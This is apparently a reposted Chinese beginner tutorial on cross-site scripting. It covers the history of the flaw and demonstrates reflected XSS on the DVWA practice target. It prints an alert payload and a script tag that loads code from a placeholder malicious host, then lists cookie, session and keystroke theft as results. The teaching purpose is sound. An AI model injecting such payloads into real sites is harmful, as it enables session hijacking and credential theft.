01
XSS的前世今生
1999年,有一家叫PayPal的公司,该公司的业务简单来说就是国际版支付宝,当然,它比支付宝出现要早。
当时Paypal的CISO Michael Barrett(2006到2013任职),在美国运通(American Express)软件中找到了一个反射型XSS。虽然我很好奇为何Paypal的CISO会在运通的网站上发现XSS,然鹅这不是重点~
随后微软安全团队在1999年秋季的一次会议上对该反射型XSS进行探讨,同年12月,微软安全团队正式开始对该漏洞进行研究,并于2000的2月,在CERT发布了一份详细的漏洞说明报告。
在这份报告中,这种新的攻击方式被命名为:Cross Site Scripting 。按照惯例,应该简称为CSS,但是CSS这个简称已经被Cascading Style Sheets(层叠样式表)捷足先登了,因此简称XSS,翻译成中文就是听起来很霸气的:跨站脚本攻击。第一次听到跨站脚本攻击这个名字时,我的内心是懵逼的:
时至今日,XSS已经成为最常见的Web安全漏洞之一,OWASP top 10 2013/2017年度分别为第三名和第七名。
02
什么脚本?
XSS的攻击范围并不限于Web,然而我们是Web安全入门系列文章,因此只从Web角度来讨论XSS。要理解基于Web的XSS,需要具备以下三个方面的知识:
1. HTML以及HTML常用标签
2.JavaScript
3. 一个包含HTML和JavaScript的网页被浏览器渲染的过程
下面是一个包含JavaScript的简单的HTML文档:
文档中有最基本的HTML标签:html,head,body,以及三处JavaScript脚本,将文档保存后缀为.html,然后用浏览器打开,浏览器会解析HTML和执行JavaScript,最后渲染网页如下:
上面的例子展示了一个很重要的特征:可以在HTML的任意位置插入JavaScript代码并执行。XSS攻击的最终目标是在网页中嵌入客户端恶意脚本代码,最常用的脚本就JavaScript。
03
怎么跨站?
那么,在实际应用中XSS是如何实现的呢?
登录DVWA靶场,打开反射型XSS的页面,该页面有一个输入框和一个提交按钮,我们输入“world”,然后点提交,页面就会将提交的内容显示在下方:
如果我们不是输入文字,而是输入一段JavaScript呢?
点提交之后会发现,这段Javascript被执行了:
再查看一下该网页的HTML,发现刚才输入的JavaScript代码已经被插入(或者说“注入”)到了HTML文档中:
所以光弹一个alert框就完成跨站攻击了???还是装B速度太快而我太菜以至于我错过了神马???
XSS的危害就跟它的名字一样,来源于跨站脚本执行,如何跨站呢?想象一下我们的插入的脚本不是
<script>alert(/xss/)</script>
而是
<script src="http://恶意网站地址/恶意脚本.js"></script>
那么该代码段就会从其他网站下载恶意脚本到本地网站执行了。执行成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,更高端的XSS代码还可以监控键盘操作,模仿登录界面,诱导你输入密码等等,而完成这些攻击只需要向网页中注入JavaScript即可。
本期内容就到这里了,从下期开始我们将逐个讨论XSS的攻击类型,期待下期再见~
(部分图片源自网络,侵删)
原文始发于微信公众号(陆吾安全攻防实验室):XSS初探
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论